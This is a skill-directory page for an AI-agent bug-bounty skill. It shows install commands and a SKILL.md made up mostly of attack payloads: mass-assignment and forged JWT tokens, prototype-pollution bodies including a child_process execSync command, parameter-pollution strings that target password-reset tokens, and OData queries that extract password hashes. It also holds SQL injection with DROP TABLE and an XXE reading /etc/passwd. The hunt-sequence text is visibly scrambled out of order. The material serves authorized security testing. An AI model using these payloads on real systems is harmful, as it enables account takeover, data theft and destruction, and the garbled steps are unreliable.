hunt-api-misconfig skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).

A100/100content scan

Is the hunt-api-misconfig skill safe?

Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.

No findings.

Install the hunt-api-misconfig skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-api-misconfig ~/.claude/skills/hunt-api-misconfig

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

12. API SECURITY MISCONFIGURATION

Mass Assignment

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Prototype Pollution

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to proto; prove that polluted prototype state reaches a later operation.

Hunt sequence:

Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.

Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects.

Pollute harmless marker properties. Send variants such as:

{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337

endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.

Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render

Escalate only through learned sinks. Candidate properties depend on the sink:

{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}

export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.

For exfiltration labs or real impact, prefer non-destructive proof. If an admin job, diagnostic,

Server-Side Parameter Pollution in Backend URL / REST URL Construction

Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:

/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email

Hunt sequence:

for form actions, fetch(...), hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape.

Find the flow and read the client request. Fetch the page and any referenced JavaScript. Look

#, ?, &x=y, /, ../, and encoded forms %23, %3f, %26x=y, %2f, %2e%2e%2f. Distinct errors such as Invalid route, API definition, unsupported field, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text.

Determine whether input lands in a backend path or query. Send URL metacharacters in the input:

referenced account, the input is in a REST path segment. Then try appending route fragments such as /field/email, /field/id, /field/username, /field/passwordResetToken, and terminate the rest of the original backend path with # or %23 when the backend URL parser honors fragments.

Use path traversal to move inside the server-side URL. If username/../other-user changes the

common documentation/spec paths: /openapi.json, /swagger.json, /api-docs, /api/swagger.json, /swagger/v1/swagger.json, /v3/api-docs, and path-traversal variants that attempt to reach the spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources and field names.

Discover API documentation from errors. When an error says to consult the API definition, probe

sensitive field such as a reset token or secret for another user, then using that token in the normal application flow to complete account takeover. Do not stop at Invalid route; use errors as routing feedback.

Exploit only to prove impact. For password reset/account lookup flows, the strongest proof is a

Payload patterns to try, adapted to the observed parameter name:

username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23

CORS Exploitation

# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses

OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)

OData (Open Data Protocol) is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and any ASP.NET WebAPI project using Microsoft.AspNetCore.OData. It exposes SQL-shaped query operators (eq, ne, and, or, substringof, startswith, tolower, concat, replace) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.

Attack class 1 — Boolean-logic blind extraction via startswith / substringof

GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')

Iterate prefix character-by-character; cardinality of the response (or @odata.count) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no '/-- characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals password hashes, names, emails, addresses, financial data in Dec 2023; Microsoft patched May 2024. (Stratus Security writeup, The Hacker News coverage Jan 2025)

Attack class 2 — $orderby / $select column-disclosure bypass

GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname

$orderby accepts column names the user has no $select permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection ($select) but NOT on $orderby / $filter — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.

Attack class 3 — $batch multipart/mixed → per-request WAF signatures miss sub-operations

POST /odata/$batch  Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--

WAFs that scan only the outer request body (or that don't natively parse multipart/mixed) skip every inner operation. ModSecurity refused multipart/mixed historically (Issue #3296); F5 added native batch parsing only in Advanced WAF v16.1 (F5 SAP-Fiori advisory). The 2025 WAFFLED paper (arXiv 2503.10846) generalises the parsing-discrepancy bypass class across 5 major WAFs.

Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass

GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $
GET /api?%2524filter=...                                # double-encoded
GET /Users(1)/$value                                    # path-segment style

Mixed-case operators (Eq, EQ) and obscure ones (substringof, tolower, concat, replace) look unlike SELECT/UNION so SQLi-keyword signatures never fire. WAFs that key on the literal string $filter see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. (OWASP Double Encoding)

Attack class 5 — OData → real SQLi when library passes filter raw

$filter=Name eq 'x'); DROP TABLE Users--'

Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in OData/WebApi Issue #2352. The XML-deserialisation variant: CVE-2019-17554 (Apache Olingo OData 4.0.0-4.6.0, XXE via <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> in application/xml body, CVSS 7.5). DoS variant: CVE-2018-8269 (Microsoft.Data.OData deep $filter recursion → stack overflow).

Bonus — $expand navigation-property IDOR

GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))

Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak (UpGuard writeup).

Detection heuristics

More skills from elementalsouls/Claude-BugHunter

Aapk-redteam-pipelineEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Fbb-local-toolkitLocal-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Abb-methodologyUse at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."
Fbug-bountyComplete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
Centerprise-vpn-attackExternal SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
Aevidence-hygieneEvidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results table for rate-limit attacks), Chrome DevTools Console PoC patterns (credentials include so cookies are not echoed, labeled console.log), screenshot capture order, filename conventions, post-submission rotation hygiene. Use BEFORE any PoC screenshot, BEFORE attaching a HAR, or whenever preparing evidence with session cookies or other-user PII. Pairs with bugcrowd-reporting and report-writing.
Ahunt-aspnetHunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
Ahunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
Ahunt-auth-bypassHunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.
Ahunt-brute-forceHunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical).

All agent skills → · MCP servers